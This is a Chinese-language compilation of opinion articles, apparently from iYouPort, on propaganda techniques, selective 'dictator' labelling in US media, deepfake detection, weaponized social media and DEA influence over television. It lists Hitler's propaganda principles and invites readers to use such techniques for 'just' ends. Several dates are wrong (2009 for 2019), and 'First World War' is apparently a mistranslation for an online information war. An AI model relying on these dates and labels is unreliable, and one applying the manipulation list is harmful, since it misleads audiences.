请注意，社会学宣传不一定会导致行动，但是，它可以为直接宣传做好准备。从那时起，这种社会学宣传的个人便会认为，以这种方式生活的人都站在天使一边，而那些不这样做的人则是坏人。

这类例子数不胜数。最眼下的比如反现金之战。想想看支持反现金的都是谁？—— 金融权力的垄断者；无现金社会是什么时候出现的概念？—— 是在在线支付如微信、支付宝变成“超酷”亚文化之后而不是之前；以至于隐私倡导者惊讶地发现，他们对现金的支持被大众认为是保守的和落伍的，是“老太太才会拿着钱包出门”的可笑。这就是社会学宣传的成功 —— 当直接宣传 即 无现金社会出现时，人们只有拥护，就仿佛扔掉现金是来自他们“自己的”想法一般自然而然。

再想想，强烈宣传“融媒”的是谁？—— 中国执政党，习近平的原话是：“要着力打造一批形态多样、手段先进、具有竞争力的新型主流媒体，建成几家拥有强大实力和传播力、公信力、影响力的新型媒体集体”；流量经济的深入人心是在什么时候出现的？—— 是在“融媒”倡导之前、所谓的打赏创造新中产之后；以至于去中心化互联网自由倡导者发现这件事的时候已经无法将人们拉出微信了，“去Mastodon干什么？你写东西有人给你打赏吗？”但是，那极少数所谓“成功”的微信公众号都是谁？当你持有执政党不喜欢的意见时，甭说“成功”，连存活都没有机会。

很简单，是人们先“知道”什么样的内容才能赚钱，这一盈利模型的社会学宣传无比地成功之后才有的直接宣传，此时便无人会反驳它了。

中国发生的事就如很久以前 **Bernays** 所指出的：通过*识别*和签约那些影响力大的公众舆论人物（关键专家、名人、博主等）即可加快这一过程。还记得中国微博崛起后执政党做的第一件事是什么吗？没错，收编大V。还有人觉得曾经的“微博言论自由鼎盛时段”有什么值得怀念的吗？那不过是为了引诱影响力出现 —— 即 收编目标的出现 —— 而故意松动的闸口。

集中化社交媒体是没有言论自由的。因为控制权不属于用户。

权威 ——

操纵者可以是演说者、团体、名人，或者任何可以通过号召将人群引入一个特定位置的人。亚里士多德认为，操纵者的精神或信誉有助于他的说服力。

声望极高的操纵者可以使他的目标人群的重要能力瘫痪，并引起尊重和敬畏。

权威来自声望，这可以通过“获得的声望”（例如职称头衔、制服、法官的长袍）和“个人声望”（即 内在权力）所产生。

成功是影响个人声望的最重要因素。Le Bon 写道：“从声望开始受到质疑的第一分钟起，它就不再是声望了。”因此，操纵者应该阻止这种讨论并与人群保持一定距离，以免他的错误破坏他的声望。

操纵者控制人群的能力尤其取决于他或她的视觉效果、声音和口头传递能力。温斯顿丘吉尔和阿道夫希特勒在这方面是最强势的，成为了主要的修辞学家。

温斯顿丘吉尔将自己的当众发言经验命名为“修辞的脚手架”，并概述了他认为是任何有效言论的基本要素。[Winston S. Churchill, “The Scaffolding of Rhetoric”, in Randolph S. Churchill, Companion Volume 1, pt. 2, to Youth: 1874–1900, vol. 1 of *the Official Biography of Winston Spencer Churchill*(London: Heinmann, 1967): 816–21.]

阿道夫希特勒相信他可以应用他在第一次世界大战期间痛苦地从盟军那里学到的宣传教训，然后将这些教训应用于德国。以下几点有助于深入了解他在舞台表演背后的想法 —— ⚠对于读者来说，以下是识别宣传的关键：

呼吁群众：“[宣传]必须始终专注于群众”，而不是“受过科学训练的知识分子”;

瞄准情绪：“[宣传]必须针对情感，而且只能在非常有限的程度上瞄准所谓的智力”;

保持你的信息简单：“宣传多方面是错误的…大众的接受度非常有限，他们的智力很少，但他们的遗忘能力是巨大的”;

为最坏的情况做好准备："[准备]战斗，从而[帮助]保护他免于失望。在此之后，对他使用的最可怕的武器似乎只是确认他的宣传者告诉他的是什么；于是同样强化了他对政府主张的信念，而另一方面又加剧了他对邪恶敌人的愤怒和仇恨";

不要做半个陈述："宣传的任务绝对不是要对真理进行客观研究，它的任务是始终如一地坚定不移地为自己的权利服务。"

不断重复你的信息："[宣传技术]必须将自己局限于几个点上并反复重复。在这个世界中，持续存在是成功的第一个也是最重要的要求。通过例子而不是通过论证来引导人群。为了巩固影响，不能过分远离观众。如果是的话，影响力将为零……

前面都比较简单，最后这句话，即 关于"不能过分远离观众"的观点就是景观政治，当下最值得警惕的变化之一，它在互联网媒介下被史无前例地抬高了能力。请参加 IYP 早前做过的分析《中国政府已攀上景观政治的边缘》。

纳粹党利用宣传在希特勒周围发展了一种人格崇拜。伊恩·克肖（Ian Kershaw）等历史学家强调了希特勒作为演说家的技巧所带来的心理影响。Roger Gill 曾对此评论说："他[希特勒]动人的演讲吸引了大量德国人的思想和心灵：他几乎催眠了所有观众"。[Roger Gill (2006). *Theory and Practice of Leadership*. SAGE. p. 259.]

IYP 已经对宣传做出了很多分析，接下来还会有其他分析，这些内容综合起来也许仍不是全部；因为，就如威胁情报一样，攻击者会在不断更新的手段中获得升级，识别和抵制的方案也需要不断被更新。

希望这些内容能帮助您保持清醒，和/或在必要的时候为了正义的目的合理利用。〇

原文

标签中的政治宣传 - iyouport

地缘政治心理战和信息战

【 2019年8月15日存档】政治宣传并没有那么容易识别，就如 IYP 在曝光中国官媒的内部讲座中所引述的主讲人所言：”真正好的宣传在于润物细无声”-- 让你在不知不觉中被蒙骗。 一个标签的使用就足够揭示隐含的洗脑威力，它是如何做的？

让我们从测试游戏开始：快！迅速说出一些独裁者的名字！

我敢打赌你们中的大多数人只回答了几个相同的名字：阿萨德、普京、卡斯特罗、金正恩、卡扎菲、马杜罗……这不是因为他们是世界上绝无仅有的独裁者，远远不是，恰恰是因为这些名字是主流媒体最常标记的名字。

民主是美国人的神圣理想。政治家和媒体们告诉我们，美国“代表”民主，反对各地的独裁统治，这也是美国必须继续在世界范围内以外交和军事方式参与其中的一个原因。

然而，自由之家的“全球自由度报告”研究发现，49个国家—— 超过四分之一的世界政府—— 是“不自由”的，他们在其网站和报告中对这些国家的描述与“独裁统治”一词交替使用。那么为什么，大多数政治上精明的人都不知道所有世界上存在这些独裁者的名字？为什么他们不是家喻户晓的名字，比如阿萨德和其他人？是因为美国为他们中四分之三的国家提供军事援助包括培训和武器销售正如 Rich Whitney 的研究所揭示的那样？

定义和量化什么是和什么不构成独裁是一个众所周知的棘手工作，“自由之家”强烈的保守派政治偏见使其列表和判断更加值得怀疑。首先，这个自称为“非政府”的组织实际上是由华盛顿资助的，华盛顿于2006年聘请“自由之家”在伊朗开展“秘密活动”—— 即政权更迭行动。

Whitney 和许多其他负责编制该自由度评分名单的人自己也承认他们

的方法论包括“预感和直觉”。正如许多学者所指出的那样，“自由之家”在支持美国同盟国的独裁和攻击尼加拉瓜等敌国方面也有着悠久的历史。这一评级具有强烈的保守派意识形态偏见。

尽管如此，它的指数是有用的，因为它是这个问题上最常被引用的来源，人们可以假设它不会错误地将美国盟友称为独裁者。

当你看到被“自由之家”描述为独裁政府的政府时，不用问也肯定是在企业媒体中找到同样的描述。然而，那些被华盛顿所支持的非自由政府—— 很少被新闻界称为独裁统治。事实上，对他们的报道都很少。

让我们来看看自由之家定义的对于接受美国军事援助的四个“独裁者”的新闻报道，他们最近都出现在新闻中：喀麦隆的 Paul Biya、埃及的 Abdel el-Sisi、阿尔及利亚的 Abdelaziz Bouteflika、和哈萨克斯坦的 Nursultan Nazarbayev。

1、喀麦隆

86岁的 Paul Biya 是世界上任职时间最长的非皇家国家元首，他最近还赢得了第七届的任期，外交政策杂志称其为“闹剧”。由于政府的人权侵犯将该国推向了内战的边缘，喀麦隆最近一直处于新闻中。“自由之家”认为它是世界上最不自由的国家之一。

然而，即便在这样讨论时，Biya 继续被主流媒体事实地提出，而不需要称他为“独裁者”。“纽约时报”（10/6/18）委婉地称他为“世界上任职时间最长的总统之一”。从报道的范围来看，即使按照自由之家的标准，读者也不会知道他是独裁者。

事实上，纽约时报报道他有20年之久了，但 Biya 从未被描述为“独裁者”、“暴君”或任何其他类似的名称。

即便在 **Biya** 受到指责时，主流媒体的报道语气也不那么谴责，而且批评得也更为温和。美国之音（2009年2月14日）指出，Biya 决定取消总统任期限制（意味着他可以终身统治），一些“批评者”称此举为“专制”。

2、埃及

阿卜杜勒·西西（Gen Abdel el-Sisi）将军于2013年在军事政变中上台，政变推翻了民主选举的总统穆罕默德·穆尔西（Mohamed Morsi）政府。Sisi 最近宣布了他的延长任期计划。

“纽约时报”关于这一主题的文章（2/14/19）指出，这将“进一步巩固他的专制统治”，甚至还指出他已经监禁了“数万”反对者、完全控制了互联网并接管了法院。然而，报道远远没有把他称为独裁者。事实上，该报道注意到他得到了来自世界各地的“强大支持”，并被美国和法国认可，被视为该地区“反对伊斯兰激进分子的堡垒”。

其他媒体也采用了这种趋势。 CNN（2/13/19）简称他为“现任总统 Abdel Fattah el-Sisi”，而NPR（2009年2月14日）同样称之为 “埃及总统 Abdel-Fattah el-Sissi”。

虽然准确地注意到了 Sisi “前所未有的镇压异议”、其中监禁了“成千上万的人”，但 BBC 的报告（2/15/19）依旧中立称他为“总统”，并且只表明他的几乎无限期地统治“被该提案的反对者”描述为“迈向专制主义的又一步。”—— 总之，主流媒体认为这样的人也远远不能成为一个完全成熟的“独裁者”。

3、阿尔及利亚

在他宣布再次出任总统之后，阿尔及利亚各地爆发了大规模的抗议活动，抗议82岁的 Abdelaziz Bouteflika。起义已经非常严重，他已承诺退出。

尽管以欺诈手段上台并且用铁拳统治了**20**年，媒体机构（例如 CNN 3/11/19；路透社，4/2/19）仍然没有将他描述为独裁者，而 BBC（3 / 6/19）简单地称他为“深居简出的总统”。

事实上，如果你阅读卫报的报道（4/1/19）甚至可能误解他是民主人士的缩影；“纽约时报”（2009年12月3日）也赞扬 Bouteflika 为北非国家“恢复稳定”作出贡献、并“恢复了国家军队的荣誉”。与喀麦隆的 Biya 一样，Bouteflika 在过去20年的报道中从未被描述为“独裁者”。

4、哈萨克斯坦

接受美国军事援助的另一位统治者是 Nursultan Nazarbayev。这位85岁的自1989年以来一直执政的人最近才宣布将下台。据透露，哈萨克斯坦首都阿斯塔纳将以他的名字命名（这种情况在民主国家并不常见 —— 不过考虑到华盛顿的名字，可以说不是例外的）

Nazarbayev 在打击言论、新闻和宗教自由方面有着悠久的历史，并对他的政治对手使用酷刑。尽管如此，他在主流媒体上依然得到了积极的表现，纽约时报（2009年3月19日）只是将他称为“哈萨克斯坦

的长期总统”；美联社（2009年3月19日）称他是“哈萨克斯坦独立以来的唯一领导人”，还称赞他“保持稳定”；路透社（2009年3月19日）居然声称他是一位“广受欢迎”的领导人，上述主流媒体都没有使用“独裁者”的绰号。

华盛顿邮报编辑委员会（3/29/19）对他的任期发表了热烈的评价——该评价让他成为一个“有远见的领导者”，一个前钢铁工人“领导前苏联国家摆脱帝国的混乱内爆”，声称他带领哈萨克斯坦“进入一个和平、繁荣的新时代“，同时“建立民族认同”并阻止任何种族冲突。

这篇社论虽然注意到了他的“政治强人手腕”、并且“以更宽容的态度来看待异议和民主会更明智”，但是，该社论认为他的压制是“有道理的”，并总结说“他不会很快忘记”他的人民。

双重标准——

双重标准通过不断的媒体引用敌对国家作为“独裁者”来强调，无论标签是否有保证。“华盛顿邮报”（1/4/19）将左派玻利维亚总统 Evo Morales 描述为“希望成为委内瑞拉式的独裁者”，而卫报（12/3/18）则警告玻利维亚成为“即将来临的委内瑞拉—古巴”式的“独裁统治”。

尼加拉瓜的左派 Sandinista 政府也被称为“独裁政权”。“纽约时报”（8/2/18）发表了一篇来自尼加拉瓜的评论文章，标题为“独裁统治再次在我的国家崛起”；许多其他网点都称他为“独裁者”（比如 经济学人，7/12/18；时代，3/18/19）称其进行“可怕的镇压”（National Review，3/15/19）——对于那些美国支持的独裁统治从来没被使用过这些词汇。

只需粗略一瞥头条，就可以看到尼古拉斯·马杜罗、“委内瑞拉的儿童屠夫”（华盛顿考官，2/21/19）这类的描述：

- “委内瑞拉的独裁者赢得了他的头衔”（纽约时报，2/27/19）
- “委内瑞拉的独裁者马杜罗度过了艰难的一周，但他的问题即将变得更糟”（迈阿密先驱报，2009年2月25日）
- “为什么进步人士更倾向于不同意特朗普而不是反击独裁者[马杜罗]？”（华盛顿邮报，3/2/19）
- “委内瑞拉的独裁者马杜罗必须滚蛋—即使军方必须干预”（福克斯新闻，3/14/19）
- “马杜罗真的不喜欢被问到他是不是’独裁者’”（纽约邮报，2/26/19）

- ……等等

这三个当选的左翼国家元首经常被称为“独裁”，这真的是巧合吗？玻利维亚甚至没有被收入自由之家的“非自由”名单—— 不像喀麦隆、埃及、阿尔及利亚和哈萨克斯坦。委内瑞拉和尼加拉瓜最近也加入了这一名单，尽管两国最近的选举都得到国际认可。

虽然委内瑞拉和尼加拉瓜的政治制度有一些明显的缺点，但美国主导的美洲国家组织观察了2017年尼加拉瓜市政选举后甚至宣布“在尼加拉瓜绝大多数城市通过投票表达了民意。”（53%的投票率，执政的桑迪尼斯塔党赢得了152个社区中的135个，其中独立自由党只占其余12个）

与此同时，委内瑞拉2018年的选举得到了**150**名国际观察员的支持，其中包括西班牙的何塞·萨帕特罗和厄瓜多尔的拉斐尔·科雷亚等外国前国家元首，三个国际选举观察小组都赞同这一结果，尽管美国主流媒体称他们为“假” (**FAIR**, 5/23/18).

即使是在“自由之家”，哈萨克斯坦也不能被做同样的描述，即 “自独立以来在哈萨克斯坦举行的选举都没有被可信的国际观察员认为是’自由和公平的’。”Nursultan 被宣布赢得了98%的投票在2015年。

敌对国家在美国企业媒体中的覆盖范围远远超过友好国家。在NYTimes.com数据库中搜索 Paul Biya 得出97个结果，相比之下，马杜罗为1,135，莫拉莱斯为713，奥尔特加为3,517，尽管 Biya 一直在掌权，但他的结果是前三个的总和（喀麦隆的人口为2400万，是委内瑞拉面积的四分之三，是玻利维亚的两倍多，人口密集度是尼加拉瓜人口的四倍）。

在最近的一篇文章（FAIR， 3/23/19）中，我指出术语“温和”或“中间派”在媒体中使用时具有战术定义。它没有提到任何政治立场，而是用来传达合法性。因此，根据定义，媒体所赞同的任何人都是温和的。

“独裁者”标签也是一个强有力的线索，媒体用它来引导读者以某种方式看待某个国家或领导者；引导读者感到愤怒，而其他那些蔑视美国路线的专制统治者则被忽视甚至被赞扬。是否使用像“独裁者”这样的词来选择以有利于美国精英利益的方式构建一个国家印象，在单一的标签中足以传达合法性或缺乏合法性。

政治宣传并没有那么容易识别，就如 IYP 在曝光中国官媒的内部讲座

中所引述的主讲人所言：“真正好的宣传在于润物细无声”—— 让你在不知不觉中被蒙骗。中国很快就需要如美国著名的 FAIR 这样的媒体评论平台，因为中国的宣传已经在演变了，变得更加隐含难以被察觉。除非有专业级的独立媒体鉴定第三方及时地揭露，才能避免公民的认知被侵害。本文仅做示范。

Dictator: Media Code for ‘Government We Don’t Like’. The choice of whether to use a word like “dictator” frames a country in a way conducive to elite US interests, conveying legitimacy or the lack thereof in a single label.

原文

检测和防止深度造假的新方法 - iYouPort

心理战和信息战

造假和检测造假是一套猫鼠游戏，检测者必须跟上造假技术的进步，甚至，需要超越它们

「图」

「图」

如果没有经过训练就很难识别深度造假。因为它们可以非常逼真。

无论是用作报复的武器、操纵金融市场的工具、还是破坏国际关系的稳定，这些造假视频可以描绘目标人在做和在说他们从未做过或说过的东西，“眼见为实” 的观念已经彻底崩溃。

- 《当恶意者掌握技术：信息战的未来究竟有多可怕？》

深度造假通过向计算机算法展示一个人的许多图像，然后让其使用所看到的内容来生成新的虚构的面部图像；同时，他们的声音也是合成的，因此它表面上听起来就像是此人在说一些完全不同的话。

一些早期的研究工作能够检测到不包含人的正常眨眼次数的深度造假视频，但是最新一代的深度造假技术已经能够绕避这些检测过程，因此研究必须继续发展。

- 推荐这个探讨会的文字和视频汇总《开源情报和取证学如何对付 “深度造假”？》

现在，研究可以通过仔细查看特定帧的像素来识别视频是否被操纵过。还制定了一项积极措施来保护个人免遭深度造假的侵害。

发现缺陷

在最近的两篇研究论文中，详细描述了如何检测带有伪造者无法轻松

修复的深度造假缺陷的方法。

当深度造假视频合成算法生成新的面部表情时，新的图像并不总是能令人头部的确切位置与光照条件或相机的距离相匹配。为了使假脸融入周围环境，必须对它们进行几何调整 —— 旋转、调整大小或以其他方式改变。

该过程在结果图像中留下了篡改的痕迹。

您可能已经注意到了这点。这些改动可以使照片看起来明显失真，例如模糊的边框和人为的皮肤抛光等。

更细微的改变中仍然有证据可循，而且研究人员训练了一种算法来检测它，即使人眼看不到差异。

如果深度造假视频中的人眼睛没有直接看摄像机，这些造假痕迹可能会有所不同。

捕捉到真实人物的视频显示了他们的面部在三个维度上移动，但是深度造假算法尚无法以3D方式制作面部。

取而代之的是，它们会生成人脸的规则二维图像，然后尝试旋转该图像、调整其大小并使其变形以适合该人的注视方向。

这些造假做得还不够好，这为揭露它们提供了机会。

研究人员设计了一种算法，用于计算人的鼻子在图像中倾斜的方式。它还可以测量脸部轮廓，计算出头部的角度方向。

在真实人脸的真实视频中，所有这些都应该以相当可预测的规则排列。但是，在伪造品中，它们常常错位。

「图」

「图」

When a computer puts Nicolas Cage’s face on Elon Musk’s head, it may not line up the face and the head correctly. Siwei Lyu, CC BY-ND

防御深度造假

有效地检测伪造品的科学实际上是一场军备竞赛 —— 伪造者会变得更加擅长虚构，因此研究始终必须努力保持跟进的步伐，甚至需要抢先一步。

如果有一种方法可以影响创建深度造假作品的算法，使它们的工作变得更糟，那么对于检测伪造品就会变得更加有利。研究人员最近找到了一种这样的方法。

「图」

「图」

At left, a face is easily detected in an image before our processing. In the middle, we’ve added perturbations that cause an algorithm to detect other faces, but not the real one. At right are the changes we added to the image, enhanced 30 times to be visible. Siwei Lyu, CC BY-ND

人脸图像库由算法组装而成，该算法处理成千上万的在线照片和视频，并使用机器学习来检测和提取人脸。计算机可能会查看课堂的照片，并检测所有学生和老师的脸，然后将这些脸添加到库中。

当库中有很多高质量的人脸图像时，生成的深度造假作品将很有可能成功欺骗观众。

研究人员找到了一种方法，可以将特殊设计的噪声添加到人眼看不到的数字照片或视频中，但是可以使人脸检测算法被欺骗。

它可以隐藏人脸检测器用来定位人脸的像素模式，并且创造出诱饵，暗示没有人的脸在这里。

由于较少的真实面孔和较多的非面孔污染了训练数据，因此深度造假算法在生成伪造面孔时的效果会更糟。这不仅减慢了深度造假的制作过程，而且使生成的伪造品具有更多的缺陷，更易于检测。

在开发此算法时，研究人员希望能够将其应用于某人上传到社交媒体或任何在线站点的任何图像。

在上传过程中，也许会询问发布者：“您是否希望保护此视频或图像中的面部，以防被伪造？” 如果用户选择是，则该算法可以添加数字噪声在里面，不影响人们在线看到这些面孔，但可以有效地隐藏它们令那些可能试图检测和模仿它们的算法不再可靠。〇

Detecting deepfakes by looking closely reveals a way to protect against them

原文

武器化的社交媒体正在推动法西斯主义的爆发 - iYouPort

你的反乌托邦在线生活阴云密布心理战和信息战

仇恨来自哪里？当仇恨和算法的诡计结合时会发生什么？武器化的社交媒体如何推动了法西斯主义的爆发？

「图」

「图」

3月份，新西兰清真寺大屠杀的视频出现在我的屏幕上—— 由 Facebook 提供。我真的找不到简洁的词汇可以描述它是什么，由一个自称为“法西斯主义者”的人拍摄，希望将观众拉入他疯狂的仇恨蹂躏的观点中，使受害者脸上的恐怖表情不朽。

凶手还拍摄了受害者的照片，并将其用作武器化的meme，现在它永远被保存为文物了。这可能是大屠杀背后的推动力。这个视觉meme将一个白人至上主义者可怕的战场带入我的家和数百万其他人的家，他们无论是自愿的还是无意中看到的这种恐怖。

2014年，有着两千年历史的伊拉克城市摩苏尔，拥有近200万多元文化的人口，由大约3万名受过美国训练的伊拉克军队守护，沦为了一支衣衫褴褛的大约800–1,500名士兵组成的伊斯兰国军队的俘虏。

但是战争基本上已经“结束了”—— 在 Twitter，Facebook 和 YouTube 上被相传为“获得了胜利”，在一个病毒式传播的宣传视频的帮助下讲述了一个关于无敌军队的虚构故事。当伊斯兰国的战斗机在摩苏尔上空盘旋时，他们发布了来自村庄的可怕视频，与新西兰的视频不同，但充斥着斩首的画面。

在到达摩苏尔之前，他们的标签**#AllEyesOnISIS**在 **Twitter** 上排在阿拉伯语话题趋势的首位。伊斯兰国在社交媒体上的表现是一场虚拟的闪电战和恐怖活动，展现出压倒性的力量幻觉。其结果与真正的轰炸一样有效。摩苏尔的伊拉克士兵和平民紧紧抓住他们手掌上的小屏

幕，这要归功于在美国援助下建造的新的蜂窝塔网络，他们陷入了恐惧和恐怖的兔子洞中。

几乎所有保卫摩苏尔的伊拉克士兵在第一辆ISIS的皮卡进入城镇之前就逃离了，留下了大量的美国武器，包括六架黑鹰直升机和2,300辆悍马。然后伊斯兰国来了，杀死了剩下的少数士兵和警察，并在社交媒体上展示了他们的战利品。

随着视觉道具在社交媒体上传播，随后的图像能力被证明是强大的，使得伊斯兰国在捕获摩苏尔后的一年内从数十个国家招募到了15,000名战士。战争永远不会再一样了。

ISIS并没有发明武器化社交媒体的战略。或许这要归功于以色列军方，后者至少"自2008年以来"一直在武器化社交媒体。

2012年，他们将这一游戏提升到了一个全新的水平，实时推特并向YouTube 上传了一个针对哈马斯领导人的无人机暗杀视频。然而，与摩苏尔的伊拉克士兵不同，哈马斯以实物形式回应了社交媒体活动。双方都获得了网络粉丝"的帮助"，最终引发了涉及数百万帖子的网络仇恨大流行。

截至2012年底，以色列国防军（**IDF**）正在运行一个"全球社交媒体宣传单位"，在每个主要平台上执行行动。今天，年轻的以色列士兵完成了他们的强制兵役，成为了以色列国防军国际社会媒体服务台的一部分，主要工作是 **trolling**，针对的是，例如支持巴勒斯坦的美国大学生，抵制和制裁巴勒斯坦权利运动。

到2016年，复杂的宣传者利用人工智能算法驱动，每个互联网用户附近看似无限的数据点彻底改变了基于社交媒体的精神运动。

我们得到了一些新的词汇，比如“sockpuppet”，所谓的互联网战士，就像在俄罗斯圣彼得堡经营的 sockpuppet，他们组建并推动了Twitter团队，“@Ten_GOP” 是假的“非官方 Twitter 田纳西州共和党人组织”，而在其高峰时段，其体量是真正的田纳西州共和党团体的10倍。 @Ten_GOP专门传播错误信息和煽动性故事，包括3,107个心理操纵信息，同时积累到136,000个粉丝用作其病毒式传播的载体，转发圣彼得堡的消息1,213,505次。

一个著名的 sockpuppet 角色，虚构的 Jenna Abrams，成为了美国主流媒体最喜欢的话题。 “卫报”将其描述为“Twitter 明星虽然并不存在”，Jenna 似乎是另一个圣彼得堡创作。

因此，“她”在一大堆主流媒体上发言：纽约时报，华盛顿邮报，赫芬顿邮报，今日美国，BET，纽约每日新闻以及其他。一旦成为一个可爱的、风度翩翩的、机智的和值得信赖的年轻 Twitter 明星，“她”就变成了社会毒性，在社交媒体上赋予数百万其他种族主义仇恨者以权力。

然后就是机器人，这是机器人版本的 sockpuppets。他们带有捏造的身份，如特朗普的支持者 Angee Dixson，他被 ProPublica 曝光为俄罗斯机器人。在人工智能的支持下，Angee 等机器人成功地与人类 trolls 异曲同工了。在作为总统候选人阶段，特朗普引用了这样的机器人150次。

由于机器人只是驻留在计算机服务器上的算法，因此复制起来更容易。事实上，他们可以自己复制自己。一旦建立为“僵尸网络”，它们几乎可以立即通过机器人播种看似有机的病毒式重新传播来推动任何推文或帖子进入大型宣传—— 足以欺骗社交媒体网站算法将消息视为自然趋势，因此，使他们实际上趋向了数百万的新闻和社交 **feeds**。

因此，当 ProPublica 逐出 Angee Dixson 机器人时，一个替代机器人网络攻击 ProPublica 的推文立刻被 Angee 的6万个强大的机器人团队所推动，最终令 Angee 赚取了更多的读者。

第一次世界大战战场上的国家行为者—— 如俄罗斯、以色列和中国—— 正在倾向于主导我们在线宣传的全国讨论。他们是虚拟的大象—笨拙的巨人，你不能无视它。

以色列人使用闪闪发光的广告来招募社交媒体突击队员，而俄罗斯人，尽管他们很成熟，但他们并没有很好地隐藏自己。

历史上，世界主要大国都通过宣传相互瞄准—— 而且很容易被发现。俄罗斯人也被怀疑使用他们的 sockpuppets 军队来推动英国脱欧退出欧盟，但牛津互联网研究所的一项研究认为，虽然他们在2016年美国大选期间确实利用了 Twitter 和 Facebook，但没有强有力的证据证明他们对英国脱欧也做了同样的事情。尽管法国希望通过指责俄罗斯的邪恶来对抗流行的黄背心运动，但仍然没有太多证据支持这一说法。

牛津大学计算宣传研究项目的研究人员认为，虽然政府确实以其他国家的内部政治为目标，但专制政权主要关注的是针对自己的人口，例如，机器人控制着俄罗斯推特活动"的45%"。马克·扎克伯格对

Facebook 宣传投诉的反应是要求政府更多地控制互联网。这并不会令全球市场对 Facebook 开放，同时加强了政府的宣传能力，防止任何民主运动的爆发，例如阿拉伯之春。

虽然威权主义者使用社交媒体宣传活动来针对他们自己的人群，但牛津大学的研究人员认为，“在这个样本中的几乎每个民主国家都组织了针对外国公众的社交媒体宣传活动”，同时将他们针对自己人口的宣传目标定为“政党—支持性活动。“

回顾我们对2016年和2018年选举的担忧，虽然俄罗斯的干涉是真实的并且有记录，但与美国主流媒体 Breitbart 和 Fox 发起的更有效的宣传活动相比，俄罗斯的影响只是相形见绌。我们对俄罗斯令人讨厌的 sockpuppets 的近视焦点使目光忽略了更强大的背景。

国与国之间的虚假形象信息战不是第一次世界大战中的主要威胁。按照定义，国家的概念本身几乎就是腐败的。他们争夺杠杆和优势，并且总是愿意妥协他们的既定价值或互相买断，因为他们在保持贸易和银行业务的有序现状方面有太多的既得利益。

里根—布什—克林顿—布什—奥巴马—特朗普的经济政策扼杀了大部分地区，使经济上被剥夺权利的社区人民生活在愤怒中，他们被绝望所毒害，并且容易受到专业的和法西斯主义领导人的影响，后者很擅长将"精准的宣传"部署到这样的愤怒群体身上。不幸的是，这正是社交媒体最擅长的。

人们更倾向于分享和反馈那些愤怒或吓唬他们的东西，而不是激励他们或给他们希望的东西。宣传者知道这一点。尽管谴责自己在传播仇恨和法西斯主义方面的作用，但社交媒体高管也明白他们的商业模式是基于点击—— 而仇恨者是点击量的最大贡献者。

正如未来学家所承诺的那样，社交媒体现在给了那些过去被孤立的混蛋提供了创建社区的能力—— 在线。在社区的熏陶下，仇恨者互相赋权，使仇恨成为主流语话的一部分。

以算法为导向的社交媒体孤岛策划了定制的世界，在这样的世界中，所有人都在牺牲自己的生命。从 Islamophobes 到白人至上主义者到“incels”到 ISIS—— 社交媒体放大了最丑陋的声音，将这些声音送到您孩子的卧室。

但最重要的是，第一次世界大战是关于BS的。现在越来越多的美国人声称他们在 Facebook 上获取新闻而不是其他任何场所。在2016年大

选季节期间，欺诈性网站和法西斯主义的帖子获得的 **Facebook** 阅读量超过了可核实的前**19**个新闻网站。

虚假是法西斯主义的货币。对于腐败的专制政权来说，真相就是敌人：真相就是武器，一旦被挥舞，就会被削减。对于威权主义者来说，首先必须摧毁真相。这是第一次世界大战的核心。

第一次世界大战是对经验现实的战争。武装化的meme不受任何准确性衡量的限制，其设计就是用于激发和煽动，同时使民主国家中毒。算法定位与数据挖掘和数据分析相结合，使得骗子能够将您当成微观目标针对您的精神弱点进行精心设计的宣传。他们可以精确地瞄准最有可能相信自己谎言的人。

没有共同的现实，我们就不能再进行维持民主的合理讨论和审议。当理性让位于愤怒时，人们只能通过情感来导航，并且已经有太多人开始讲法西斯主义的语言。

这是第一次世界大战。这是由 Facebook、法西斯主义和欺诈引发的虚假现实。它进入我们的家园，它在我们的手掌中发光；这是第一次世界大战。如果它征服现实，我们已经无处可战。

Weaponized Social Media Is Driving the Explosion of Fascism. People are more likely to both share and react viscerally to things that anger or frighten them, as opposed to things that inspire them or give them hope. Propagandists know this. And despite decrying their own roles in spreading hate and fascism, social media executives also understand that their business model is based on clicks—and haters are the most voracious clickers.

原文

电影电视究竟是什么？为什么稍有权势的人都想要审查控制文艺创作？ - iYouPort

为什么心理战和信息战

不宣传会死的世界。任何非独立制作的影视作品和新闻故事都应该被拒绝，如果您没有打算从被洗脑中获得享受的话……

「图」

「图」

最近通过信息自由法案获得了200页文件，内容都是缉毒局和文艺创作者之间签订的合同。这些惊人的合同首次揭露了缉毒局 —— 这个被认为相对不怎么厉害的权力部门 —— 也一直在深入操纵电影电视的制作。

缉毒局（DEA）在娱乐业中非常活跃；该机构一直在严格控制纪录片、真人秀和电影电视剧中涉及该部门的所有内容。

通过多个项目，DEA会仔细检查他们自己的文件，挑选出使他们看起来很好的精选案例，然后要求文艺创作者制造出文艺作品。

这些合同[PDF]涵盖2011年至2017年。在此期间，DEA支持了数十个类似项目，包括“Cops and Coyotes” 和 “Drugs Inc.” 中的多个剧集、以及“Gangsters: America’s Most Evil” 等作品。

他们也在操纵纯属虚构的与毒品有关的电视剧。其他被操纵的影视项目包括“Lethal Cargo”、 “The Notorious Mr. Bout” 和 “Declassified: Untold Stories of American Spies”。

他们甚至与美国政府资助的中东广播网络合作，开展了一个以DEA博物馆为特色的项目。

信息自由法案并不好用，不仅极为耗时（经常要等待数月甚至数年时

间），并且，最终能获得的文件也是被编辑过的或残缺重要部分的。

合同中奇怪的是“Narcos”和“Breaking Bad”，尽管有各种报道称这两个项目都聘请了DEA员工作为顾问。

在回应独立FOIA要求询问他们对“Breaking Bad”的意见时，DEA声称他们“无法找到任何记录”。

发布的文件中也没有包括“Finding Escobar’s Millions”和“Battle Zone: The Origins of Sicario”，尽管这两部纪录片都归功于DEA。

这些合同表明，**DEA**对这些影视制作实施了近乎完全的控制。

一些制作人被允许在DEA执法小组中嵌入电影摄制组，但是，“现场的DEA监督员在批准任何拍摄方面拥有最终决定权”。

DEA提供的影视制作支持完全免费。制作人不需要支付任何费用，包括允许使用DEA名称和徽标。

DEA对影视项目的采访录制也有限制。

比如 “Canada：Drug Kingpin”的制片人就被告知他们不被允许“陪同DEA员工进入以非法毒品而闻名的加拿大 – 美国边境”热点地带。

“Lethal Cargo”的制造者只被允许采访一名DEA员工，合同中规定了多个他不被允许谈论的话题。

被禁止的主题包括“有关一个国家的生产和消费状况的信息以及该国对毒品贩运的执法方法”、“瓦伦西亚港作为可卡因的入口点”、以及“尼日利亚黑手党负责货运”等话题。

近年来，随着大麻合法化成为一个日益激烈争论的问题和现实，DEA开始新添了一个条款，说任何关于“大麻运营或相关问题”的DEA采访都必须事先获得该机构公共事务主管的批准。

